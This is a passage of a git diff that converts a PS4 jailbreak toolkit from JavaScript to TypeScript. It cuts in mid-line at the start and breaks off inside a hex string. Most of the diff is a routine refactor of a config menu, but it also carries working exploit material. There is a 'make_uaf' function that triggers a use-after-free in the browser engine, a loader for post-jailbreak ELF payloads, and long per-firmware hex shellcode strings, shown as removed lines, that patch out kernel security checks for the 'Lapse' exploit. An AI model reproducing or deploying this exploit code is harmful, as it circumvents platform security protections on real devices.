+ ' (' + data_size + ' bytes)') return bl_load_from_file(DATA_PAYLOAD_PATH, false) @@ -750,6 +747,11 @@ binloader_init = function () { } else { bl_load_from_file('/download0/payloads/elfldr.elf') } + + return { + bl_load_from_file, + bl_network_loader + } } // Verify function is defined diff --git a/src/download0/config.js b/src/download0/config.ts similarity index 61% rename from src/download0/config.js rename to src/download0/config.ts index 1b49ddf..e646aa0 100644 --- a/src/download0/config.js +++ b/src/download0/config.ts @@ -1,9 +1,9 @@ -var CONFIG = { +export const CONFIG = { autolapse: false, autopoop: false, autoclose: false } -var payloads = [ // to be ran after jailbroken +export const payloads = [ // to be ran after jailbroken '/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf' ] diff --git a/src/download0/config_ui.js b/src/download0/config_ui.ts similarity index 51% rename from src/download0/config_ui.js rename to src/download0/config_ui.ts index 3ae0f83..e0fa756 100644 --- a/src/download0/config_ui.js +++ b/src/download0/config_ui.ts @@ -1,3 +1,7 @@ +import { libc_addr } from 'download0/userland' +import { stats } from 'download0/stats-tracker' +import { lang } from 'download0/languages' + if (typeof libc_addr === 'undefined') { include('userland.js') } @@ -9,9 +13,9 @@ if (typeof lang === 'undefined') { (function () { log(lang.loadingConfig) - var fs = { - write: function (filename, content, callback) { - var xhr = new jsmaf.XMLHttpRequest() + const fs = { + write: function (filename: string, content: string, callback: (error: Error | null) => void) { + const xhr = new jsmaf.XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState === 4 && callback) { callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed')) @@ -21,8 +25,8 @@ if (typeof lang === 'undefined') { xhr.send(content) }, - read: function (filename, callback) { - var xhr = new jsmaf.XMLHttpRequest() + read: function (filename: string, callback: (error: Error | null, data?: string) => void) { + const xhr = new jsmaf.XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState === 4 && callback) { callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'), xhr.responseText) @@ -33,29 +37,29 @@ if (typeof lang === 'undefined') { } } - var currentConfig = { + const currentConfig = { autolapse: false, autopoop: false, autoclose: false } - var currentButton = 0 - var buttons = [] - var buttonTexts = [] - var buttonMarkers = [] - var buttonOrigPos = [] - var textOrigPos = [] - var valueTexts = [] + let currentButton = 0 + const buttons: Image[] = [] + const buttonTexts: jsmaf.Text[] = [] + const buttonMarkers: (Image | null)[] = [] + const buttonOrigPos: { x: number; y: number }[] = [] + const textOrigPos: { x: number; y: number }[] = [] + const valueTexts: Image[] = [] - var normalButtonImg = 'file:///assets/img/button_over_9.png' - var selectedButtonImg = 'file:///assets/img/button_over_9.png' + const normalButtonImg = 'file:///assets/img/button_over_9.png' + const selectedButtonImg = 'file:///assets/img/button_over_9.png' jsmaf.root.children.length = 0 - new Style({name: 'white', color: 'white', size: 24}) - new Style({name: 'title', color: 'white', size: 32}) + new Style({ name: 'white', color: 'white', size: 24 }) + new Style({ name: 'title', color: 'white', size: 32 }) - var background = new Image({ + const background = new Image({ url: 'file:///../download0/img/multiview_bg_VAF.png', x: 0, y: 0, @@ -64,7 +68,7 @@ if (typeof lang === 'undefined') { }) jsmaf.root.children.push(background) - var logo = new Image({ + const logo = new Image({ url: 'file:///../download0/img/logo.png', x: 1620, y: 0, @@ -73,10 +77,10 @@ if (typeof lang === 'undefined') { }) jsmaf.root.children.push(logo) - var title = new jsmaf.Text() + const title = new jsmaf.Text() title.text = lang.config - title.x = 910 - title.y = 120 + title.x = 20 + title.y = 40 title.style = 'title' jsmaf.root.children.push(title) @@ -85,10 +89,10 @@ if (typeof lang === 'undefined') { // Load and display stats stats.load() - var statsData = stats.get() + const statsData = stats.get() // Create text elements for each stat - var statsToDisplay = [ + const statsToDisplay = [ lang.totalAttempts + statsData.total, lang.successes + statsData.success, lang.failures + statsData.failures, @@ -97,32 +101,33 @@ if (typeof lang === 'undefined') { ] // Display each stat line - for (var i = 0; i < statsToDisplay.length; i++) { - var lineText = new jsmaf.Text() - lineText.text = statsToDisplay[i] + for (let i = 0; i < statsToDisplay.length; i++) { + const lineText = new jsmaf.Text() + lineText.text = statsToDisplay[i]! lineText.x = 20 lineText.y = 120 + (i * 20) lineText.style = 'white' jsmaf.root.children.push(lineText) } - var configOptions = [ + const configOptions = [ { key: 'autolapse', label: lang.autoLapse, textImg: 'auto_lapse_btn_txt.png' }, { key: 'autopoop', label: lang.autoPoop, textImg: 'auto_poop_btn_txt.png' }, { key: 'autoclose', label: lang.autoClose, textImg: 'auto_close_btn_txt.png' } ] - var centerX = 960 - var startY = 300 - var buttonSpacing = 120 - var buttonWidth = 400 - var buttonHeight = 80 + const centerX = 960 + const startY = 300 + const buttonSpacing = 120 + const buttonWidth = 400 + const buttonHeight = 80 - for (var i = 0; i < configOptions.length; i++) { - var btnX = centerX - buttonWidth / 2 - var btnY = startY + i * buttonSpacing + for (let i = 0; i < configOptions.length; i++) { + const configOption = configOptions[i]! + const btnX = centerX - buttonWidth / 2 + const btnY = startY + i * buttonSpacing - var button = new Image({ + const button = new Image({ url: normalButtonImg, x: btnX, y: btnY, @@ -134,16 +139,17 @@ if (typeof lang === 'undefined') { buttonMarkers.push(null) - var btnText = new jsmaf.Text() - btnText.text = configOptions[i].label - btnText.x = btnX + 30 - btnText.y = btnY + 28 + const btnText = new jsmaf.Text() + btnText.text = configOption.label + btnText.x = btnX + 20 + btnText.y = btnY + 20 btnText.style = 'white' + jsmaf.root.children.push(btnText) buttonTexts.push(btnText) jsmaf.root.children.push(btnText) - var checkmark = new Image({ - url: currentConfig[configOptions[i].key] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png', + const checkmark = new Image({ + url: currentConfig[configOption.key as keyof typeof currentConfig] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png', x: btnX + 320, y: btnY + 20, width: 40, @@ -152,14 +158,14 @@ if (typeof lang === 'undefined') { valueTexts.push(checkmark) jsmaf.root.children.push(checkmark) - buttonOrigPos.push({x: btnX, y: btnY}) - textOrigPos.push({x: btnText.x, y: btnText.y}) + buttonOrigPos.push({ x: btnX, y: btnY }) + textOrigPos.push({ x: btnText.x, y: btnText.y }) } - var backX = centerX - buttonWidth / 2 - var backY = startY + configOptions.length * buttonSpacing + 100 + const backX = centerX - buttonWidth / 2 + const backY = startY + configOptions.length * buttonSpacing + 100 - var backButton = new Image({ + const backButton = new Image({ url: normalButtonImg, x: backX, y: backY, @@ -169,7 +175,7 @@ if (typeof lang === 'undefined') { buttons.push(backButton) jsmaf.root.children.push(backButton) - var backMarker = new Image({ + const backMarker = new Image({ url: 'file:///assets/img/ad_pod_marker.png', x: backX + buttonWidth - 50, y: backY + 35, @@ -180,7 +186,7 @@ if (typeof lang === 'undefined') { buttonMarkers.push(backMarker) jsmaf.root.children.push(backMarker) - var backText = new jsmaf.Text() + const backText = new jsmaf.Text() backText.text = lang.back backText.x = backX + buttonWidth / 2 - 20 backText.y = backY + buttonHeight / 2 - 12 @@ -188,32 +194,32 @@ if (typeof lang === 'undefined') { buttonTexts.push(backText) jsmaf.root.children.push(backText) - buttonOrigPos.push({x: backX, y: backY}) - textOrigPos.push({x: backText.x, y: backText.y}) + buttonOrigPos.push({ x: backX, y: backY }) + textOrigPos.push({ x: backText.x, y: backText.y }) - var zoomInInterval = null - var zoomOutInterval = null - var prevButton = -1 + let zoomInInterval: number | null = null + let zoomOutInterval: number | null = null + let prevButton = -1 - function easeInOut (t) { + function easeInOut (t: number) { return (1 - Math.cos(t * Math.PI)) / 2 } - function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { + function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { if (zoomInInterval) jsmaf.clearInterval(zoomInInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.0 - var endScale = 1.1 - var duration = 175 - var elapsed = 0 - var step = 16 + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.0 + const endScale = 1.1 + const duration = 175 + let elapsed = 0 + const step = 16 zoomInInterval = jsmaf.setInterval(function () { elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased + const t = Math.min(elapsed / duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased btn.scaleX = scale btn.scaleY = scale @@ -225,27 +231,27 @@ if (typeof lang === 'undefined') { text.y = textOrigY - (btnH * (scale - 1)) / 2 if (t >= 1) { - jsmaf.clearInterval(zoomInInterval) + jsmaf.clearInterval(zoomInInterval ?? -1) zoomInInterval = null } }, step) } - function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { + function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) { if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.1 - var endScale = 1.0 - var duration = 175 - var elapsed = 0 - var step = 16 + const btnW = buttonWidth + const btnH = buttonHeight + const startScale = btn.scaleX || 1.1 + const endScale = 1.0 + const duration = 175 + let elapsed = 0 + const step = 16 zoomOutInterval = jsmaf.setInterval(function () { elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased + const t = Math.min(elapsed / duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased btn.scaleX = scale btn.scaleY = scale @@ -257,7 +263,7 @@ if (typeof lang === 'undefined') { text.y = textOrigY - (btnH * (scale - 1)) / 2 if (t >= 1) { - jsmaf.clearInterval(zoomOutInterval) + jsmaf.clearInterval(zoomOutInterval ?? -1) zoomOutInterval = null } }, step) @@ -265,57 +271,68 @@ if (typeof lang === 'undefined') { function updateHighlight () { // Animate out the previous button - if (prevButton >= 0 && prevButton !== currentButton) { - buttons[prevButton].url = normalButtonImg - buttons[prevButton].alpha = 0.7 - buttons[prevButton].borderColor = 'transparent' - buttons[prevButton].borderWidth = 0 - if (buttonMarkers[prevButton]) buttonMarkers[prevButton].visible = false - animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y) + const prevButtonObj = buttons[prevButton] + const buttonMarker = buttonMarkers[prevButton] + if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) { + prevButtonObj.url = normalButtonImg + prevButtonObj.alpha = 0.7 + prevButtonObj.borderColor = 'transparent' + prevButtonObj.borderWidth = 0 + if (buttonMarker) buttonMarker.visible = false + animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y) } // Set styles for all buttons - for (var i = 0; i < buttons.length; i++) { + for (let i = 0; i < buttons.length; i++) { + const button = buttons[i] + const buttonMarker = buttonMarkers[i] + const buttonText = buttonTexts[i] + const buttonOrigPos_ = buttonOrigPos[i] + const textOrigPos_ = textOrigPos[i] + if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue if (i === currentButton) { - buttons[i].url = selectedButtonImg - buttons[i].alpha = 1.0 - buttons[i].borderColor = 'rgb(100,180,255)' - buttons[i].borderWidth = 3 - if (buttonMarkers[i]) buttonMarkers[i].visible = true - animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y) + button.url = selectedButtonImg + button.alpha = 1.0 + button.borderColor = 'rgb(100,180,255)' + button.borderWidth = 3 + if (buttonMarker) buttonMarker.visible = true + animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y) } else if (i !== prevButton) { - buttons[i].url = normalButtonImg - buttons[i].alpha = 0.7 - buttons[i].borderColor = 'transparent' - buttons[i].borderWidth = 0 - buttons[i].scaleX = 1.0 - buttons[i].scaleY = 1.0 - buttons[i].x = buttonOrigPos[i].x - buttons[i].y = buttonOrigPos[i].y - buttonTexts[i].scaleX = 1.0 - buttonTexts[i].scaleY = 1.0 - buttonTexts[i].x = textOrigPos[i].x - buttonTexts[i].y = textOrigPos[i].y - if (buttonMarkers[i]) buttonMarkers[i].visible = false + button.url = normalButtonImg + button.alpha = 0.7 + button.borderColor = 'transparent' + button.borderWidth = 0 + button.scaleX = 1.0 + button.scaleY = 1.0 + button.x = buttonOrigPos_.x + button.y = buttonOrigPos_.y + buttonText.scaleX = 1.0 + buttonText.scaleY = 1.0 + buttonText.x = textOrigPos_.x + buttonText.y = textOrigPos_.y + if (buttonMarker) buttonMarker.visible = false } } prevButton = currentButton } - function updateValueText (index) { - var key = configOptions[index].key - var value = currentConfig[key] - valueTexts[index].url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png' + function updateValueText (index: number) { + const options = configOptions[index] + const valueText = valueTexts[index] + if (!options || !valueText) return + const key = options.key + const value = currentConfig[key as keyof typeof currentConfig] + valueText.url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png' } function saveConfig () { - var configContent = 'var CONFIG = {\n' + let configContent = 'const CONFIG = {\n' configContent += ' autolapse: ' + currentConfig.autolapse + ', \n' configContent += ' autopoop: ' + currentConfig.autopoop + ',\n' configContent += ' autoclose: ' + currentConfig.autoclose + '\n' configContent += '};\n\n' - configContent += 'var payloads = [ //to be ran after jailbroken\n' + configContent += 'const payloads = [ //to be ran after jailbroken\n' configContent += ' "/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf"\n' configContent += '];\n' @@ -329,26 +346,26 @@ if (typeof lang === 'undefined') { } function loadConfig () { - fs.read('config.js', function (err, data) { + fs.read('config.js', function (err: Error | null, data?: string) { if (err) { log('ERROR: Failed to read config: ' + err.message) return } try { - eval(data) // eslint-disable-line no-eval + eval(data || '') // eslint-disable-line no-eval if (typeof CONFIG !== 'undefined') { currentConfig.autolapse = CONFIG.autolapse || false currentConfig.autopoop = CONFIG.autopoop || false currentConfig.autoclose = CONFIG.autoclose || false - for (var i = 0; i < configOptions.length; i++) { + for (let i = 0; i < configOptions.length; i++) { updateValueText(i) } log('Config loaded successfully') } } catch (e) { - log('ERROR: Failed to parse config: ' + e.message) + log('ERROR: Failed to parse config: ' + (e as Error).message) } }) } @@ -359,16 +376,16 @@ if (typeof lang === 'undefined') { try { include('main-menu.js') } catch (e) { - log('ERROR loading main-menu.js: ' + e.message) + log('ERROR loading main-menu.js: ' + (e as Error).message) } } else if (currentButton < configOptions.length) { - var key = configOptions[currentButton].key - currentConfig[key] = !currentConfig[key] + const key = configOptions[currentButton]!.key + currentConfig[key as keyof typeof currentConfig] = !currentConfig[key as keyof typeof currentConfig] if (key === 'autolapse' && currentConfig[key] === true) { currentConfig.autopoop = false - for (var i = 0; i < configOptions.length; i++) { - if (configOptions[i].key === 'autopoop') { + for (let i = 0; i < configOptions.length; i++) { + if (configOptions[i]!.key === 'autopoop') { updateValueText(i) break } @@ -376,8 +393,8 @@ if (typeof lang === 'undefined') { log('autopoop disabled (autolapse enabled)') } else if (key === 'autopoop' && currentConfig[key] === true) { currentConfig.autolapse = false - for (var i = 0; i < configOptions.length; i++) { - if (configOptions[i].key === 'autolapse') { + for (let i = 0; i < configOptions.length; i++) { + if (configOptions[i]!.key === 'autolapse') { updateValueText(i) break } @@ -385,7 +402,7 @@ if (typeof lang === 'undefined') { log('autolapse disabled (autopoop enabled)') } - log(key + ' = ' + currentConfig[key]) + log(key + ' = ' + currentConfig[key as keyof typeof currentConfig]) updateValueText(currentButton) saveConfig() } @@ -405,7 +422,7 @@ if (typeof lang === 'undefined') { try { include('main-menu.js') } catch (e) { - log('ERROR loading main-menu.js: ' + e.message) + log('ERROR loading main-menu.js: ' + (e as Error).message) } } } diff --git a/src/download0/defs.js b/src/download0/defs.ts old mode 100755 new mode 100644 similarity index 80% rename from src/download0/defs.js rename to src/download0/defs.ts index ed30eba..8de1132 --- a/src/download0/defs.js +++ b/src/download0/defs.ts @@ -1,7 +1,11 @@ -function make_uaf (arr) { - var o = {} - for (var i in { xx: '' }) { - for (i of [arr]) {} // eslint-disable-line no-empty +import { struct } from './types' + +export function make_uaf (arr: DataView) { + const o = {} + for (let i in { xx: '' }) { + // @ts-expect-error need to confuse variable i + for (i of [arr]); + // @ts-expect-error need to access it as well o[i] } } diff --git a/src/download0/kernel.js b/src/download0/kernel.ts similarity index 77% rename from src/download0/kernel.js rename to src/download0/kernel.ts index 2b1ce8a..dcb19e5 100644 --- a/src/download0/kernel.js +++ b/src/download0/kernel.ts @@ -1,936 +1,1059 @@ -/** *** kernel_offset.js *****/ - -// PS4 Kernel Offsets for Lapse exploit -// Source: https://github.com/Helloyunho/yarpe/blob/main/payloads/lapse.py - -// Kernel patch shellcode (hex strings) - patches security checks in kernel -// These are executed via kexec after jailbreak to enable full functionality -const kpatch_shellcode = { - '5.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6816DA31E00EBC681B1A31E00EBC6812DA41E00EBC68171A41E00EBC6810DA61E00EBC6813DAA1E00EBC681FDAA1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9F83A1A00664489812A7E2300C78150232B004831C0C3C68110D5130037C68113D5130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', - 5.03: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6817DA41E00EBC681C1A41E00EBC6813DA51E00EBC68181A51E00EBC6811DA71E00EBC6814DAB1E00EBC6810DAC1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9083C1A00664489813A7F2300C78120262B004831C0C3C68120D6130037C68123D6130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', - '5.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D594000EBC68151594000EBC681CD594000EBC681115A4000EBC681BD5B4000EBC6816D604000EBC6813D614000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300140004831C0C3C681D9253C0037C681DC253C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', - 5.53: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D584000EBC68151584000EBC681CD584000EBC68111594000EBC681BD5A4000EBC6816D5F4000EBC6813D604000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300040004831C0C3C681D9243C0037C681DC243C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', - 5.55: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC681CD5B4000EBC681115C4000EBC6818D5C4000EBC681D15C4000EBC6817D5E4000EBC6812D634000EBC681FD634000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781F00340004831C0C3C68199283C0037C6819C283C0037C781D0AE110102000000488991D8AE1101C781FCAE1101010000000F20C0480D000001000F22C031C0C3', - 5.56: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', - '6.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', - '6.20': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2AEBC0200C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898178223500664489897AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150F711010200000048899158F71101C7817CF71101010000000F20C0480D000001000F22C031C0C3', - '6.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689810EC5630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C24DA31500C681CD0A0000EBC6814D113C00EBC68191113C00EBC6810D123C00EBC68151123C00EBC681FD133C00EBC681AD183C00EBC6817D193C00EB6689B10FCE6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127BB1000EB66448991081A4500664489991E801D00668981AA851D00C781209F41004831C0C3C6817AB50A0037C6817DB50A0037C78110D211010200000048899118D21101C7813CD21101010000000F20C0480D000001000F22C031C0C3', - '6.70': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEC8630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C25DCF0900C681CD0A0000EBC681FD143C00EBC68141153C00EBC681BD153C00EBC68101163C00EBC681AD173C00EBC6815D1C3C00EBC6812D1D3C00EB6689B1CFD16300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681D7BE1000EB66448991B81D450066448999CE831D006689815A891D00C781D0A241004831C0C3C6817AB50A0037C6817DB50A0037C78110E211010200000048899118E21101C7813CE21101010000000F20C0480D000001000F22C031C0C3', - '7.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEAC630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C2D2AF0600C681CD0A0000EBC6818DEF0200EBC681D1EF0200EBC6814DF00200EBC68191F00200EBC6813DF20200EBC681EDF60200EBC681BDF70200EB6689B1EFB56300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681777B0800EB66448991084C260066448999C14E09006689817B540900C781202C2F004831C0C3C68136231D0037C68139231D0037C781705812010200000048899178581201C7819C581201010000000F20C0480D000001000F22C031C0C3', - '7.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689819473630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C282F60100C681DD0A0000EBC6814DF72800EBC68191F72800EBC6810DF82800EBC68151F82800EBC681FDF92800EBC681ADFE2800EBC6817DFF2800EB6689B1CF7C6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127A33700EB66448991C814300066448999041E4500668981C4234500C781309A02004831C0C3C6817DB10D0037C68180B10D0037C781502512010200000048899158251201C7817C251201010000000F20C0480D000001000F22C031C0C3', - '8.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C2DC600E0066898154D26200C681CD0A0000EBC6810DE12500EBC68151E12500EBC681CDE12500EBC68111E22500EBC681BDE32500EBC6816DE82500EBC6813DE92500EB6689B13FDB6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C68196D63400EB664489898BC63E0066448991848D3100C6813F953100EBC781C05109004831C0C3C6813AD00F0037C6813DD00F0037C781E0C60F0102000000488991E8C60F01C7810CC70F01010000000F20C0480D000001000F22C031C0C3', - '8.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C24D7F0C0066898174466200C681CD0A0000EBC6813D403A00EBC68181403A00EBC681FD403A00EBC68141413A00EBC681ED423A00EBC6819D473A00EBC6816D483A00EB6689B15F4F6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C681D6F32200EB66448989DBD614006644899174740100C6812F7C0100EBC78140D03A004831C0C3C681EA26080037C681ED26080037C781D0C70F0102000000488991D8C70F01C781FCC70F01010000000F20C0480D000001000F22C031C0C3', - '9.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3', - 9.03: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3', - '9.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3', - '10.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3', - '10.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3', - '11.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', - 11.02: 